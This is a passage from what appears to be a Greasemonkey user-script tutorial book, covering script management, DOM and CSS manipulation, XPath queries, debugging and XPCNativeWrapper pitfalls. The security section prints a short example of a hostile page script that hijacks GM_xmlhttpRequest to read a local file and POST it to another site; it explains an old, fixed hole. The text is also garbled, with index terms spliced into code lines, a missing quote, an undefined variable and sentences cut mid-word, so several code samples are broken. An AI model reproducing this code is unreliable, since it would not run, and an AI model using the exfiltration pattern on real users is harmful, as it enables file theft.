- Select Butler in the list if it is not already selected, and deselect the Enabled checkbox. The color of Butler in the left pane should change subtly from black to gray. (This is difficult to see while it is still selected, but itenable the Butler user script by repeating the procedure and reselecting the Enabled checkbox in the Manage User Scripts dialog.
Tip
Once disabled, a user script will remain disabled until you manually reenable it, even if you quit and relaunch Firefox.
Disabling All User Scripts
While Greasemonkey is installed, it displays a little smiling monkey icon in the status bar, as shown in Figure 1-5.
Clicking the Greasemonkey icon in the status bar disables Greasemonkey entirely; any user scripts you have installed will no longer execute. The Greasemonkey icon will frown and turn gray to indicate that Greasemonkey is currently disabled, as shown in Figure 1-6.
Clicking the icon again reenables Greasemonkey and any enabled user scripts.
Disabling a User Script by Removing All Included Pages
As shown in "Master the @include and @exclude Directives" [Hack #3], user scripts contain two sections: a list of pages to run the script and a list of pages not to run the script. Another way to prevent a user script from executing is to remove all the pages on which it runs:
- From the menu bar, select Tools → Manage User Scripts…. Greasemonkey will pop up the Manage User Scripts dialog.
- In the left pane of the dialog is a list of all the user scripts you have installed.
- Select Butler in the list if it is not already selected, and then select http://*.google.com/* in the list of Included Pages. Click the Remove button to remove this URL from the list.
- Click OK to exit the Manage User Scripts dialog.
Disabling a User Script by Excluding All Pages
Yet another way to disable a user script is to add a wildcard to exclude it from all pages:
- From the menu, select Tools → Manage User Scripts…. Greasemonkey will pop up the Manage User Scripts dialog.
- In the left pane of the dialog is a list of all the user scripts you have installed.
- Select Butler in the list if it is not already selected.
- Under the Excluded Pages list, click the Add button. Greasemonkey will pop up an Add Page dialog box. Type * and click OK.
- Click OK to exit the Manage User Scripts dialog.
Now, Butler is still installed and technically still active. But because excluded pages take precedence over included pages, Butler will never actually be executed, because you have told Greasemonkey to exclude it from all pages.
Disabling a User Script by Editing config.xml
As shown in "Install a User Script" [Hack #1], Greasemonkey stores the list of installed scripts in a configuration file, config.xml, deep within your Firefox profile directory:
<UserScriptConfig> <Script filename="butler.user.js" name="Butler" namespace="" description="Link to competitors from Google search results" enabled="true"> <Include>http://*.google.com/*</Include> </Script> </UserScriptConfig>
You can manually edit this file to disable a user script. To disable Butler, find its <Script> element in config.xml, and then set the enabled attribute to false.
Uninstalling a User Script
Finally, you can remove a user script entirely by uninstalling it:
- From the menu bar, select Tools → Manage User Scripts…. Greasemonkey will pop up a Manage User Scripts dialog.
- In the left pane, select Butler.
- Click Uninstall.
- Click OK to exit the Manage User Scripts dialog.
Butler is now uninstalled completely.
Configure a User Script
There's more than one way to configure Greasemonkey user scripts: before, during, and after installation.
One of the most important pieces of information about a user script is where it should run. One page? Every page on one site? Multiple sites? All sites? This hack explains several different ways to configure where a user script executes.
Inline
As described in "Provide a Default Configuration" [Hack #2], user scripts contain a section that describes what the script is and where it should run. Editing the @include and @exclude lines in this section is the first and easiest way to configure a user script, because the configuration travels with the script code. If you copy the file to someone else's computer or publish it online, other people will pick up the default configuration.
During Installation
Another good time to alter a script's metadata is during installation. Remember in "Install a User Script" [Hack #1] when you first installed the Butler user script? Immediately after you select the Install User Script…menu item, Greasemonkey displays a dialog box titled Install User Script, which contains lists of the included and excluded pages, as shown in Figure 1-7.
The two lists are populated with the defaults that are defined in the script's metadata section (specifically, the @include and @exclude lines), but you can change them to anything you like before you install the script. Let's say, for example, that you like Butler, but you have no use for it on Froogle, Google's cleverly named product comparison site. Before you install the script, you can modify the configuration to exclude that site but still let the script work on other Google sites.
To ensure that Butler doesn't alter Froogle, click the Add…button under "Excluded pages" and type the wildcard URL for Froogle, as shown in Figure 1-8.
After Installation
You can also reconfigure a script's included and excluded pages after the script is installed. Assuming you previously excluded Froogle from Butler's configuration (as described in the previous section), let's now change the configuration to include Froogle again:
- From the Firefox menu, select Tools/Manage User Scripts…. Greasemonkey will pop up the Manage User Scripts dialog.
- In the pane on the left, select Butler. In the pane on the right, Greasemonkey should show you two lists: one of included pages (http://*.google.*/*) and one of excluded pages (*).
- In the "Excluded pages" list, select* and click the Remove button.
- Click OK to exit the Manage User Scripts dialog.
Now, search for a product on Froogle to verify that Butler is once again being executed.
Editing Configuration Files
The last way to reconfigure a user script is to manually edit the config.xml file, which is located within your Firefox profile directory. (See "Install a User Script" [Hack #1] for the location.) The graphical dialogs Greasemonkey provides are just friendly ways of editing config.xml without knowing it.
Each installed user script is represented by a <Script> element, as shown in the following example:
<Script filename="helloworld.user.js" name="Hello World" namespace="" description="example script to alert "Hello world!" on every page" enabled="true"> <Include>*</Include> <Exclude>*</Exclude> <Exclude>*</Exclude> </Script>
You can make any changes you like to the config.xml file. You can add, remove, or edit the <Include> and <Exclude> elements to change where the script runs. You can change the enabled attribute to false to disable the script. You can even uninstall the script by deleting the entire <Script> element.
Tip
Starting in Version 0.5, Greasemonkey no longer caches the config.xml file in memory. If you manually change the config.xml file while Firefox is running, you will see the changes immediately when you navigate to a new page or open the Manage User Scripts dialog.
Add or Remove Content on a Page
Use DOM methods to manipulate the content of a web page.
Since most user scripts center around adding or removing content from a web page, let's quickly review the standard DOM methods for manipulating content.
Adding an Element
The following code adds a new element to the end of the page. The element will appear at the bottom of the page, unless you style it with CSS to position it somewhere else [Hack #7]:
var web pagescontentelmNewContent = document.createElement('div'); document.body.appendChild(elmNewContent)
Removing an Element
You can also remove elements from a page. Removed elements disappear from the page (obviously), and any content after them collapses to fill the space the elements occupied. The following code finds the element with id="ads" and removes it:
var elmDeleted = document.getElementById("ads"); elmDeleted.parentNode.removeChild(elmDeleted);
Tip
If all you want to do is remove ads, it's probably easier to install the AdBlock extension than to write your own user script. You can download AdBlock at.
Inserting an Element
Many user scripts insert content into a page, rather than appending it to the end of the page. The following code creates a link to and inserts it immediately before the element with id="foo":
var elmNewContent = document.createElement('a'); elmNewContent.href = ''; elmNewContent.appendChild(document.createTextNode('click here')); var elmFoo = document.getElementById('foo'); elmFoo.parentNode.insertBefore(elmNewContent, elmFoo);
You can also insert content after an existing element, by using the nextSibling property:
elmFoo.parentNode.insertBefore(elmNewContent, elmFoo.nextSibling);
Tip
Inserting new content before elmFoo.nextSibling will work even if elmFoo is the last child of its parent (i.e., it has no next sibling). In this case, elmFoo.nextSibling will return null, and the insertBefore function will simply append the new content after all other siblings. In other words, this example code will always work, even when it seems like it shouldn't.
Replacing an Element
You can replace entire chunks of a page in one shot by using the replaceChild method. The following code replaces the element with id="extra" with content that we create on the fly:
var elmNewContent = document.createElement('p'); elmNewContent.appendChild(document.createTextNode('Replaced!')); var elmExtra = document.getElementById('extra'); elmExtra.parentNode.replaceChild(elmNewContent, elmExtra);
As you can see from the previous few examples, the process of creating new content can be arduous. Create an element, append some text, set individual attributes…bah. There is an easier way. It's not a W3C-approved DOM property, but all major browsers support the innerHTML property for getting or setting HTML content as a string. The following code accomplishes the same thing as the previous example:
var elmExtra = document.getElementById('extra'); elmReplaced.innerHTML = '<p>Replaced!</p>';
The HTML you set with the innerHTML property can be as complex as you like. Firefox will parse it and insert it into the DOM tree, just as if you had created each element and inserted it with standard DOM methods.
Modifying an Element's Attributes
Modifying a single attribute is simple. Each element is an object in JavaScript, and each attribute is reflected by a corresponding property. The following code finds the link with id="somelink" and changes its href property to link to a different URL:
var elmLink = document.getElementById('somelink'); elmLink.href = '';
You can accomplish the same thing with the setAttribute method:
elmLink.setAttribute('href', '')
This is occasionally useful, if you are setting an attribute whose name you don't know in advance.
You can also remove an attribute entirely with the removeAttribute method:
elmLink.removeAttribute('href');
Tip
See "Make Pop-up Titles Prettier" [Hack #28] for an example of why this might be useful.
If you remove the href attribute from a link, it will still be an <a> element, but it will cease to be a link. If the link has an id or name attribute, it will still be a page anchor, but you will no longer be able to click it to follow the link.
Tip is a great reference for browser DOM support.
Alter a Page's Style
There are four basic ways to add or modify a page's CSS rules.
In many of the user scripts I've written, I want to make things look a certain way. Either I'm modifying the page's original style in some way, or I'm adding content to the page and I want to make it look different from the rest of the page. There are several ways to accomplish this.
Adding a Global Style
Here is a simple function that I reuse in most cases in which I need to add arbitrary styles to a page. It takes a single parameter, a string containing any number of CSS rules:
function addGlobalStyle(css) { try { var elmHead, elmStyle; elmHead = document.getElementsByTagName('head')[0]; elmStyle = document.createElement('style'); elmStyle.type = 'text/css'; elmHead.appendChild(elmStyle); elmStyle.innerHTML = css; } catch (e) { if (!document.styleSheets.length) { document.createStyleSheet(); } document.styleSheets[0].cssText += css; } }
Inserting or Removing a Single Style
As you see in the previous example, Firefox maintains a list of the stylesheets in use on the page, in document.styleSheets (note the capitalization!). Each item in this collection is an object, representing a single stylesheet. Each stylesheet object has a collection of rules, and methods to add new rules or remove existing rules.
The insertRule method takes two parameters. The first is the CSS rule to insert, and the second is the positional index of the rule before which to insert the new rule:
document.web pagesstyle alterationstyleSheets[0].insertRule('html, body { font-size: large }', 0);
Tip
In CSS, order matters; if there are two rules for the same CSS selector, the later rule takes precedence. The previous line will insert a rule before all other rules, in the page's first stylesheet.
You can also delete individual rules by using the deleteRule method. It takes a single parameter, the positional index of the rule to remove. The following code will remove the first rule, which we just inserted with insertRule:
document.styleSheets[0].deleteRule(0);
Modifying an Element's Style
You can also modify the style of a single element by setting properties on the element's style attribute. The following code finds the element with id="foo" and sets its background color to red:
var elmModify = document.getElementById("foo"); elmModify.style.backgroundColor = 'red';
Tip
The property names of individual styles are not always obvious. Generally they follow a pattern, where the CSS rule margin-top becomes the JavaScript expression someElement.style.marginTop. But there are exceptions. The float property is set with elmModify.style.cssFloat, since float is a reserved word in JavaScript.
There is no easy way to set multiple properties at once. In regular JavaScript, you can set multiple styles by calling the setAttribute method to the style attribute to a string:
elmModify.setAttribute("style", "background-color: red; color: white; " + "font: small serif");
However, as explained in "Avoid Common Pitfalls" [Hack #12], this does not work within Greasemonkey scripts.
Master XPath Expressions
Tap into a powerful new way to find exactly what you're looking for on a page.
Firefox contains a little-known but powerful feature called XPath. XPath is a query language for searching the Document Object Model (DOM) that Firefox constructs from the source of a web page.
As mentioned in "Add or Remove Content on a Page" [Hack #6], virtually every hack in this book revolves around the DOM. Many hacks work on a collection of elements. Without XPath, you would need to get a list of elements (for example, with document.getElementsByTagName) and then test each one to see if it's something of interest. With XPath expressions, you can find exactly the elements you want, all in one shot, and then immediately start working with them.
Tip
A good beginners' tutorial on XPath is available at.
Basic Syntax
To execute an XPath query, use the document.evaluate function. Here's the basic syntax:
var snapshotResults = document.evaluate('XPath expression', document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
The function takes five parameters:
- The XPath expression itself
- More on this in a minute.
- The root node on which to evaluate the expression
- If you want to search the entire web page, pass in document. But you can also search just a part of the page. For example, to search within a <div id="foo">, pass document.getElementById("foo") as the second parameter.
- A namespace resolver function
- You can use this to create XPath queries that work on XHTML pages. See "Select Multiple Checkboxes" [Hack #36] for an example.
- The type of result to return
- If you want a collection of elements, use XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE. If you want to find a single element, use XPathResult.FIRST_ORDERED_NODE_TYPE. More on this in a minute, too.
- A previous XPath result to append to this result
- I rarely use this, but it can be useful if you want to conditionally concatenate the results of multiple XPath queries.
The document.evaluate function returns a snapshot, which is a static array of DOM nodes. You can iterate through the snapshot or access its items in any order. The snapshot is static, which means it will never change, no matter what you do to the page. You can even delete DOM nodes as you move through the snapshot.
A snapshot is not an array, and it doesn't support the standard array properties or accessors. To get the number of items in the snapshot, use snapResults.snapshotLength. To access a particular item, you need to call snapshotResults.snapshotItem(index). Here is the skeleton of a script that executes an XPath query and loops through the results:
var snapResults = document.evaluate("XPath expression", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = snapResults.snapshotLength - 1; i >= 0; i--) { var elm = snapResults.snapshotItem(i); // do stuff with elm }
Examples
The following XPath query finds all the elements on a page with class="foo":
var snapFoo = document.evaluate(//*[@class='foo']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
The // means "search for things anywhere below the root node, including nested elements." The * matches any element, and [@class='foo'] restricts the search to elements with a class of foo.
You can use XPath to search for specific elements. The following query finds all <input type="hidden"> elements. (This example is taken from "Show Hidden Form Fields" [Hack #30].)
var snapHiddenFields = document.evaluate("//input[@type='hidden']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
You can also test for the presence of an attribute, regardless of its value. The following query finds all elements with an accesskey attribute. (This example is taken from "Add an Access Bar with Keyboard Shortcuts" [Hack #68].)
var snapAccesskeys = document.evaluate("//*[@accesskey]", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
Not impressed yet? Here's a query that finds images whose URL contains the string "MZZZZZZZ". (This example is taken from "Make Amazon Product Images Larger" [Hack #25].)
var snapProductImages = document.evaluate("//img[contains(@src, 'MZZZZZZZ')", document, null, XPathXPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
You can also do combinations of attributes. This query finds all images with a width of 36 and a height of 14. (This query is taken from "Zap Ugly XML Buttons" [Hack #86].)
var snapXMLImages = document.evaluate("//img[@width='36'][@height='14']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
But wait, there's more! By using more advanced XPath syntax, you can actually find elements that are contained within other elements. This code finds all the links that are contained in a paragraph whose class is g. (This example is taken from "Refine Your Google Search" [Hack #96].)
var snapResults = document.evaluate("//p[@class='g']//a", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
Finally, you can find a specific element by passing XPathResult.FIRST_ORDERED_NODE_TYPE in the third parameter. This line of code finds the first link whose class is "yschttl". (This example is taken from "Prefetch Yahoo! Search Results" [Hack #52].)
var elmFirstResult = document.evaluate("//a[@class='yschttl']", document, null, <b>XPathResult.FIRST_ORDERED_NODE_TYPE</b>, null).singleNodeValue;
If you weren't brain-fried by now, I'd be very surprised. XPath is, quite literally, a language all its own. Like regular expressions, XPath can make your life easier, or it can make your life a living hell. Remember, you can always get what you need (eventually) with standard DOM functions such as document.getElementById or document.getElementsByTagName. XPath's a good tool to have in your tool chest, but it's not always the right tool for the job.
Develop a User Script "Live"
Edit a user script and see your changes immediately.
While you're writing a user script, you will undoubtedly need to make changes incrementally and test the results. As shown in "Install a User Script" [Hack #1], Greasemonkey stores your installed user scripts deep within your Firefox profile directory. Changes to these installed files take effect immediately, as soon as you refresh the page. This makes the testing cycle quick, because you can edit your partially written script, save changes, and refresh your test page to see the changes immediately.
Setting Up File Associations
Before you can take advantage of live editing, you need to set up file associations on your system, so that double-clicking a .user.js script opens the file in your text editor instead of trying to execute it or viewing it in a web browser.
On Mac OS X.
Control-click a .user.js file in Finder, and then select Get Info. In the Open With section, select your text editor from the drop-down menu, or select Other…to find the editor program manually. Click Change All to permanently associate your editor with .js files.
On Windows.
Right-click a .user.js file in Explorer, and then select Open With → Choose Program. Select your favorite text editor from the list, or click Browse to find the editor application manually. Check the box titled "Always use the selected program to open this kind of file" and click OK.
The "Live Editing" Development Cycle
Switch back to Firefox and select Tools → Manage User Scripts. Select a script from the pane on the left and click Edit. If your file associations are set up correctly, this should open the user script in your text editor.
The first time you do this on Windows, you will get a warning message, explaining that you need to set up your file associations, as shown in Figure 1-9. You're one step ahead of the game, since you've already done this.
Tip
The reason for the warning is that, by default, Windows is configured to execute .js files in the built-in Windows Scripting Host environment. This is generally useless, and certainly confusing if you don't know what's going on.
Once the user script opens in your text editor, you can make any changes you like to the code. You're editing the copy of the user script within your Firefox profile directory—the copy that Greasemonkey uses. As soon as you make a change and save it, you can switch back to Firefox and refresh your test page to see the effect of your change. Switch to your editor, make another change, switch back to Firefox, and refresh. It's that simple.
Tip
During live editing, you can change only the code of a user script, not the configuration parameters in the metadata section. If you want to change where the script runs, use the Manage User Scripts dialog.
When you're satisfied with your user script, switch back to your editor one last time and save a copy to another directory.
Warning
Remember, you've been editing the copy deep within your Firefox profile directory. I've lost significant chunks of code after live-editing a user script and then uninstalling it without saving a copy first. Don't make this mistake! Save a backup somewhere else for safekeeping.
Debug a User Script
Learn the subtle art of Greasemonkey debugging.
The actual process of writing user scripts can be frustrating if you don't know how to debug them properly. Since JavaScript is an interpreted language, errors that would otherwise cause a compilation error (such as misspelled variables or function names) can only be caught when they occur at runtime. Furthermore, if something goes wrong, it's not immediately obvious how to figure out what happened, much less how to fix it.
Check Error Messages
If your user script doesn't appear to be running properly, the first place to check is JavaScript Console, which lists all script-related errors, including those specific to user scripts. Select Tools → JavaScript Console to open the JavaScript Console window. You will probably see a long list of all the script errors on all the pages you've visited since you opened Firefox. (You'd be surprised how many high-profile sites have scripts that crash regularly.)
In the JavaScript Console window, click Clear to remove the old errors from the list. Now, refresh the page you're using to test your user script. If your user script is crashing or otherwise misbehaving, you will see the exception displayed in JavaScript Console.
Tip
If your user script is crashing, JavaScript Console will display an exception and a line number. Due to the way Greasemonkey injects user scripts into a page, this line number is not actually useful, and you should ignore it. It is not the line number within your user script where the exception occurred.
If you don't see any errors printed in JavaScript Console, you might have a configuration problem. Go to Tools → Manage User Scripts and double-check that your script is installed and enabled and that your current test page is listed in the Included Pages list.
Log Errors
OK, so your script is definitely running, but it isn't working properly. What next? You can litter your script with alert calls, but that's annoying. Instead, Greasemonkey provides a logging function, GM_log, that allows you to write messages to JavaScript Console. Such messages should be taken out before release, but they are enormously helpful in debugging. Plus, watching the console pile up with log messages is much more satisfying than clicking OK over and over to dismiss multiple alerts.
GM_log takes one argument, the string to be logged. After logging to JavaScript Console, the user script will continue executing normally.
Save the following user script as testlog.user.js:
// ==UserScript== // @name TestLog // @namespace // ==/UserScript== if (/^http:\/\/www\.oreilly\.com\//.test(location.href)) { GM_log("running on O'Reilly site"); } else { GM_log('running elsewhere'); } GM_log('this line is always printed');
If you install this user script and visit, these two lines will appear in JavaScript Console:
Greasemonkey:: running on O'Reilly site Greasemonkey:: this line is always printed
Greasemonkey dumps the namespace and script name, taken from the user script's metadata section, then the message that was passed as an argument to GM_log.
If you visit somewhere other than, these two lines will appear in JavaScript Console:
Greasemonkey:: running elsewhere Greasemonkey:: this line is always printed
Messages logged in Javascript Console are not limited to 255 characters. Plus, lines in JavaScript Console wrap properly, so you can always scroll down to see the rest of your log message. Go nuts with logging!
Tip
In JavaScript Console, you can right-click (Mac users Control-click) on any line and select Copy to copy it to the clipboard.
Find Page Elements
DOM Inspector allows you to explore the parsed Document Object Model (DOM) of any page. You can get details on each HTML element, attribute, and text node. You can see all the CSS rules from each page's stylesheets. You can explore all the scriptable properties of an object. It's extremely powerful.
DOM Inspector is included with the Firefox installation program, but depending on your platform, it might not installed by default. If you don't see a DOM Inspector item in the Tools menu, you will need to reinstall Firefox and choose Custom Install, then select Developer Tools. (Don't worry; this will not affect your existing bookmarks, preferences, extensions, or user scripts.)
A nice addition to DOM Inspector is the Inspect Element extension. It allows you to right-click on any element—a link, a paragraph, even the page itself—and open DOM Inspector with that element selected. From there, you can inspect its properties, or see exactly where it fits within the hierarchy of other elements on the page.
Tip
Download the Inspect Element extension at.
One last note: DOM Inspector does not follow you as you browse. If you open DOM Inspector and then navigate somewhere else in the original window, DOM Inspector will get confused. It's best to go where you want to go, inspect what you want to inspect, then close DOM Inspector before doing anything else.
Test JavaScript Code Interactively
JavaScript Shell is a bookmarklet that allows you to evaluate arbitrary JavaScript expressions in the context of the current page. You install it simply by dragging it to your links toolbar. Then you can visit a web page you want to work on, and click the JavaScript Shell bookmarklet in your toolbar. The JavaScript Shell window will open in the background.
Tip
Install Javascript Shell from.
JavaScript Shell offers you the same power as DOM Inspector but in a free-form environment. Think of it as a command line for the DOM. You can enter any JavaScript expressions or commands, and you will see the output immediately. You can even make changes to the page, such as creating a new element document.createElement and adding to the page with document.body.appendChild. Your changes are reflected in the original page.
One feature of JavaScript Shell that is worth special mention is the props function. Visit, open JavaScript Shell, and then type the following two lines:
var link = document.getElementsByTagName('a')[0] props(link)
JavaScript Shell spews out a long list of properties:
Methods of prototype: blur, focus Fields of prototype: id, title, lang, dir, className, accessKey, charset, coords, href, hreflang, name, rel, rev, shape, tabIndex target, type, protocol, host, hostname, pathname, search, port, hash, text, offsetTop, offsetLeft, offsetWidth, offsetHeight, offsetParent, innerHTML, scrollTop, scrollLeft, scrollHeight, scrollWidth, clientHeight, clientWidth, style Methods of prototype of prototype of prototype: insertBefore, replaceChild, removeChild, appendChild, hasChildNodes, cloneNode, normalize, isSupported, hasAttributes, getAttribute, setAttribute, removeAttribute, getAttributeNode, setAttributeNode, removeAttributeNode, getElementsByTagName, getAttributeNS, setAttributeNS, removeAttributeNS, getAttributeNodeNS, setAttributeNodeNS, getElementsByTagNameNS, hasAttribute, hasAttributeNS, addEventListener, removeEventListener, dispatchEvent, compareDocumentPosition, isSameNode, lookupPrefix, isDefaultNamespace, lookupNamespaceURI, isEqualNode, getFeature, setUserData, getUserData Fields of prototype of prototype of prototype: tagName, nodeName, nodeValue, nodeType, parentNode, childNodes, firstChild, lastChild, previousSibling, nextSibling, attributes, ownerDocument, namespaceURI, prefix, localName, ELEMENT_NODE, ATTRIBUTE_NODE, TEXT_NODE, CDATA_SECTION_NODE, ENTITY_REFERENCE_NODE, ENTITY_NODE, PROCESSING_INSTRUCTION_NODE, COMMENT_NODE, DOCUMENT_NODE, DOCUMENT_TYPE_NODE, DOCUMENT_FRAGMENT_NODE, NOTATION_NODE, baseURI, textContent, DOCUMENT_POSITION_DISCONNECTED, DOCUMENT_POSITION_PRECEDING, DOCUMENT_POSITION_FOLLOWING, DOCUMENT_POSITION_CONTAINS, DOCUMENT_POSITION_CONTAINED_BY, DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC Methods of prototype of prototype of prototype of prototype of prototype: toString
What's this all about? It's a list of all the properties and methods of that <a> element that are available to you in JavaScript, grouped by levels in the DOM object hierarchy. Methods and properties that are specific to link elements (such as the blur and focus methods, and the href and hreflang properties) are listed first, followed by methods and properties shared by all types of nodes (such as the insertBefore method).
Again, this is the same information that is available in DOM Inspector—but with more typing and experimenting, and less pointing and clicking.
Tip
Like DOM Inspector, JavaScript Shell does not follow you as you browse. If you open JavaScript Shell and then navigate somewhere else in the original window, JavaScript Shell will get confused. It's best to go where you want to go, open JavaScript Shell, fiddle to your heart's content, and then close JavaScript Shell before doing anything else. Be sure to copy your code from the JavaScript Shell window and paste it into your user script once you're satisfied with it.
Embed Graphics in a User Script
Add images to web pages without hitting a remote server.
A user script is a single file. Greasemonkey does not provide any mechanism for bundling other resource files, such as image files, along with the JavaScript code. While this might offend the sensibilities of some purists who would prefer to maintain separation between code, styles, markup, and media resources, in practice, it is rarely a problem for me.
This is not to say you can't include graphics in your scripts, but you need to be a bit creative. Instead of posting the image to a web server and having your user script fetch it, you can embed the image data in the script itself by using a data: URL. A data: URL allows you to encode an image as printable text, so you can store it as a JavaScript string. And Firefox supports data: URLs natively, so you can insert the graphic directly into a web page by setting an img element's src attribute to the data: URL string. Firefox will display the image without sending a separate request to any remote server.
Tip
You can construct data: URLs from your own image files at.
The Code
This user script runs on all pages. It uses an XPath query to find web bugs: 1 x 1-pixel img elements that advertisers use to track your movement online. The script filters this list of potential web bugs to include only those images that point to a third-party site, since many sites use 1 x 1-pixel images for spacing in table-based layouts.
There is no way for Greasemonkey to eliminate web bugs altogether; by the time a user script executes, the image has already been fetched. But we can make them more visible by changing the src attribute of the img element after the fact. The image data is embedded in the script itself.
Save the following user script as webbugs.user.js:
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Running the Hack
After installing the user script (Tools → Install This User Script), go to and scroll to the bottom of the page. You will see a web bug made visible, as shown in Figure 1-10.
The graphic of the spider does not come from any server; it is embedded in the user script itself. This makes it easy to distribute a graphics-enabled Greasemonkey script without worrying that everyone who installs it will pound your server on every page request.
Avoid Common Pitfalls
Learn the history of Greasemonkey security and how it affects you now. have stored; they cannot access values stored by other user scripts, other browser extensions, or Firefox itself.
- GM_log
- Log a message. See Chapter 11.
JavaScript code that comes with a regular web page cannot do this. There is an XMLHttpRequest object that has some of the same capabilities, but for security reasons, Firefox intentionally restricts it to communicating with other pages on the same web site. Greasemonkey's GM_xmlhttpRequest function loosens this restriction and allows user scripts to communicate with any web site, the careful planning that went into sandboxing unprivileged JavaScript code, and allowed unprivileged code to gain access to privileged functions.
But wait; it gets worse.
Security Hole #3: Local File Access
Greasemonkey 0.3 had one more fatal flaw. By issuing a GET request on a file:// URL that pointed to a local file, user scripts could access and read the contents of any file on your hard drive. This is disturbing by itself, but it is especially dangerous when coupled with leaking API functions to remote page scripts. The combination of these security holes meant that a remote page script could steal a reference to the GM_xmlhttpRequest function, call it to read any file on your hard drive, and then call it again to post the contents of that file anywhere in the world:
<script type="text/javascript"> // _GM_xmlhttpRequestGM_xmlhttpRequest was captured earlier, // via security hole #2 _GM_xmlhttpRequest({ method: "GET", url: "", onload: function(oResponseDetails) { _GM_xmlhttpRequest({ method: "POST", url: "", data: oResponseDetails.responseText }); } }); </script>
Redesigning from the Ground Up
All of these problems in Greasemonkey 0.3 stem from one fundamental architectural flaw: it trusts its environment too much. By design, user scripts execute in a hostile environment, an arbitrary web page under someone else's control. We want to execute semitrusted, semiprivileged code within that environment, but we don't want to leak that trust or those privileges to potentially hostile code.
The solution is to set up a safe environment where we can execute user scripts. The sandbox needs access to certain parts of the hostile environment (like the DOM of the web page), but it should never allow malicious page scripts to interfere with user scripts, or intercept references to privileged functions. The sandbox should be a one-way street, allowing user scripts to manipulate the page but never the other way around.
Greasemonkey 0.5 executes user scripts in a sandbox. It never injects a <Script> element into the original page, nor does it define its API functions on the global window object. Remote page scripts never have a chance to intercept user scripts, because user scripts execute without ever modifying the page.
But this is only half the battle. User scripts might need to call functions in order to manipulate the web page. This includes DOM methods such as document.getElementsByTagName and document.createElement, as well as global functions such as window.alert and window.getComputedStyle. A malicious web page could redefine these functions to prevent the user script from working properly, or to make it do something else altogether.
To solve this second problem, Greasemonkey 0.5 uses a little-known Firefox feature called XPCNativeWrappers. Instead of simply referencing the window object or the document object, Greasemonkey redefines these to be XPCNativeWrappers. An XPCNativeWrapper wraps a reference to the actual object, but doesn't allow the underlying object to redefine methods or intercept properties. This means that when a user script calls document.createElement, it is guaranteed to be the real createElement method, not some random method that was redefined by the remote page.
Going Deeper
In Greasemonkey 0.5, the sandbox in which user scripts execute defines the window and document objects as deep XPCNativeWrappers. This means that not only is it safe to call their methods and access their properties, but it is also safe to access the methods and properties of the objects they return.
For example, you want to write a user script that calls the document.getElementsByTagName function, and then you want to loop through the elements it returns:
var arTextareas = document.getElementsByTagName('textarea'); for (var i = arTextareas.length - 1; i >= 0; i--) { var elmTextarea = arTextareas[i]; elmTextarea.value = my_function(elmTextarea.value); }
The document object is an XPCNativeWrapper of the real document object, so your user script can call document.getElementsByTagName and know that it's calling the real getElementsByTagName method. But what about the collection of element objects that the method returns? All these elements are also XPCNativeWrappers, which means it is also safe to access their properties and methods (such as the value property).
What about the collection itself? The document.getElementsByTagName function normally returns an HTMLCollection object. This object has properties such as length and special getter methods that allow you to treat it like a JavaScript Array. But it's not an Array; it's an object. In the context of a user script, this object is also wrapped by an XPCNativeWrapper, which means that you can access its length property and know that you're getting the real length property and not calling some malicious getter function that was redefined by the remote page.
All of this is confusing but extremely important. This example user script looks exactly the same as JavaScript code you would write as part of a regular web page, and it ends up doing exactly the same thing. But you need to understand that, in the context of a user script, everything is wrapped in an XPCNativeWrapper. The document object, the HTMLCollection, and each Element are all XPCNativeWrappers around their respective objects.
Greasemonkey 0.5 goes to great lengths to allow you to write what appears to be regular JavaScript code, and have it do what you would expect regular JavaScript code to do. But the illusion is not perfect. XPCNativeWrappers have some limitations that you need to be aware of. There are 10 common pitfalls to writing Greasemonkey scripts, and all of them revolve around limitations of XPCNativeWrappers..
Pitfall #3: Named Forms and Form Elements
Firefox lets you access elements on a web page in a variety of ways. For example, if you had a form named gs that contained an input box named q:
<form id="gs"> <input name="q" type="text" value="foo"> </form>
you could ordinarily get the value of the input box like this:
var q = document.gs.q.value;
In a user script, this doesn't work. The document object is an XPCNativeWrapper, and it does not support the shorthand of getting an element by ID. This means document.gs is undefined, so the rest of the statement fails. But even if the document wrapper did support getting an element by ID, the statement would still fail because XPCNativeWrappers around form elements don't support the shorthand of getting form fields by name. This means that even if document.gs returned the form element, document.gs.q would not return the input element, so the statement would still fail.
To work around this, you need to use the namedItem method of the document.forms array to access forms by name, and the elements array of the form element to access the form's fields:
var form = document.forms.namedItem("gs"); var input = form.elements.namedItem("q"); var q = input.value;
You could squeeze this into one line instead of using temporary variables for the form and the input elements, but you still need to call each of these methods and string the return values together. There are no shortcuts.
Pitfall #4: Custom Properties
JavaScript allows you to define custom properties on any object, just by assigning them. This capability extends to elements on a web page, where you can make up arbitrary attributes and assign them directly to the element's DOM object.
var elmFoo = document.getElementById('foo'); elmFoo.myProperty = 'bar';
This doesn't work in Greasemonkey scripts, because elmFoo is really an XPCNativeWrapper around the element named foo, and XPCNativeWrappers don't let you define custom attributes with this syntax. You can set common attributes like id or href, but if you want to define your own custom attributes, you need to use the setAttribute method:
var elmFoo = document.getElementById('foo'); elmFoo.setAttribute('myProperty', 'bar');
If you want to access this property later, you will need to use the getAttribute method:
var foo = elmFoo.getAttribute('myProperty');
Pitfall #5: Iterating Collections
Normally, DOM methods such as document.getElementsByTagName return an HTMLCollection object. This object acts much like a JavaScript Array object.
It has a length property that returns the number of elements in the collection, and it allows you to iterate through the elements in the collection with the in keyword:
var arInputs = document.getElementsByTagName("input"); for (var elmInput in arInputs) { … }
This doesn't work in Greasemonkey scripts because the arInputs object is an XPCNativeWrapper around an HTMLCollection object, and XPCNativeWrappers do not support the in keyword. Instead, you need to iterate through the collection with a for loop, and get a reference to each element separately:
for (var i = 0; i < arInputs.length; i++) var elmInput = arInputs[i]; … }
Pitfall #6: scrollIntoView
In the context of a regular web page, you can manipulate the viewport to scroll the page programmatically. For example, this code will find the page element named foo and scroll the browser window to make the element visible on screen:
